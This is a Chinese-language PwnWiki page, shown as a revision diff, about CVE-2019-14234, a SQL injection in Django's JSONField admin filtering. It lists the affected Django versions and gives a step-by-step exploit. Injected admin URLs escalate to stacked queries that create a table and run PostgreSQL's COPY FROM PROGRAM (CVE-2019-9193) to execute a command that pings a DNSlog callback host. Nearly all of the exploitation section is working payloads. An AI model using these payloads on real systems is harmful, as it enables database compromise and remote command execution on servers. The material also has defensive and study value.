Difference between revisions of "CVE-2019-14234 Django JSONField SQL注入漏洞/zh-cn"
From PwnWiki
(Created page with "CVE-2019-14234 Django JSONField SQL注入漏洞") |
|||
| (6 intermediate revisions by the same user not shown) | |||
| Line 12: | Line 12: | ||
==漏洞利用== | ==漏洞利用== | ||
| − | + | 首先需登录管理员后台，访问模型Collection的管理页面： | |
| − | |||
| − | |||
<pre> | <pre> | ||
http://127.0.0.1/admin/vuln/collection/ | http://127.0.0.1/admin/vuln/collection/ | ||
| Line 27: | Line 25: | ||
</pre> | </pre> | ||
| − | + | Django一般与PostgreSQL一起配合使用，可以尝试利用PostgreSQL 高权限命令执行漏洞[https://www.pwnwiki.org/index.php?title=CVE-2019-9193_PostgreSQL_%E9%AB%98%E6%AC%8A%E9%99%90%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E (CVE-2019-9193)] | |
| − | |||
| − | |||
| − | + | 访问以下URL： | |
| − | |||
| − | |||
<pre> | <pre> | ||
http://127.0.0.1/admin/vuln/collection/?detail__title%27)%3d%271%27%20or%201%3d1%20%3bcreate%20table%20cmd_execs(cmd_output%20text)--%20 | http://127.0.0.1/admin/vuln/collection/?detail__title%27)%3d%271%27%20or%201%3d1%20%3bcreate%20table%20cmd_execs(cmd_output%20text)--%20 | ||
</pre> | </pre> | ||
| − | + | 回显<code>no results to fetch</code> 语句成功执行。 | |
| − | |||
| − | |||
| − | + | 访问： | |
| − | |||
| − | |||
<pre> | <pre> | ||
http://127.0.0.1/admin/vuln/collection/?detail__title%27)%3d%271%27%20or%201%3d1%20%3bcopy%20cmd_execs%20FROM%20PROGRAM%20%27ping%20test.dnslog.cn%20%27--%20 | http://127.0.0.1/admin/vuln/collection/?detail__title%27)%3d%271%27%20or%201%3d1%20%3bcopy%20cmd_execs%20FROM%20PROGRAM%20%27ping%20test.dnslog.cn%20%27--%20 | ||
</pre> | </pre> | ||
| − | + | 命令成功执行。 | |
| − | |||
| − | |||
===⚠️️=== | ===⚠️️=== | ||
| − | + | <code>test.dnslog.cn</code>请修改为自己的Dnslog | |
| − | <code>test.dnslog.cn</code> | ||
| − | |||
Latest revision as of 16:31, 12 July 2021
影响版本
Django 2.2.x < 2.2.4 Django 2.1.x < 2.1.11 Django 1.11.x < 1.11.23
漏洞利用
首先需登录管理员后台，访问模型Collection的管理页面：
http://127.0.0.1/admin/vuln/collection/
http://127.0.0.1/admin/vuln/collection/?detail__a%27
http://127.0.0.1/admin/vuln/collection/?detail__a%27)%3D%271%27%20or%201%3d1%20--
Django一般与PostgreSQL一起配合使用，可以尝试利用PostgreSQL 高权限命令执行漏洞(CVE-2019-9193)
访问以下URL：
http://127.0.0.1/admin/vuln/collection/?detail__title%27)%3d%271%27%20or%201%3d1%20%3bcreate%20table%20cmd_execs(cmd_output%20text)--%20
回显no results to fetch 语句成功执行。
访问：
http://127.0.0.1/admin/vuln/collection/?detail__title%27)%3d%271%27%20or%201%3d1%20%3bcopy%20cmd_execs%20FROM%20PROGRAM%20%27ping%20test.dnslog.cn%20%27--%20
命令成功执行。
⚠️️
test.dnslog.cn请修改为自己的Dnslog
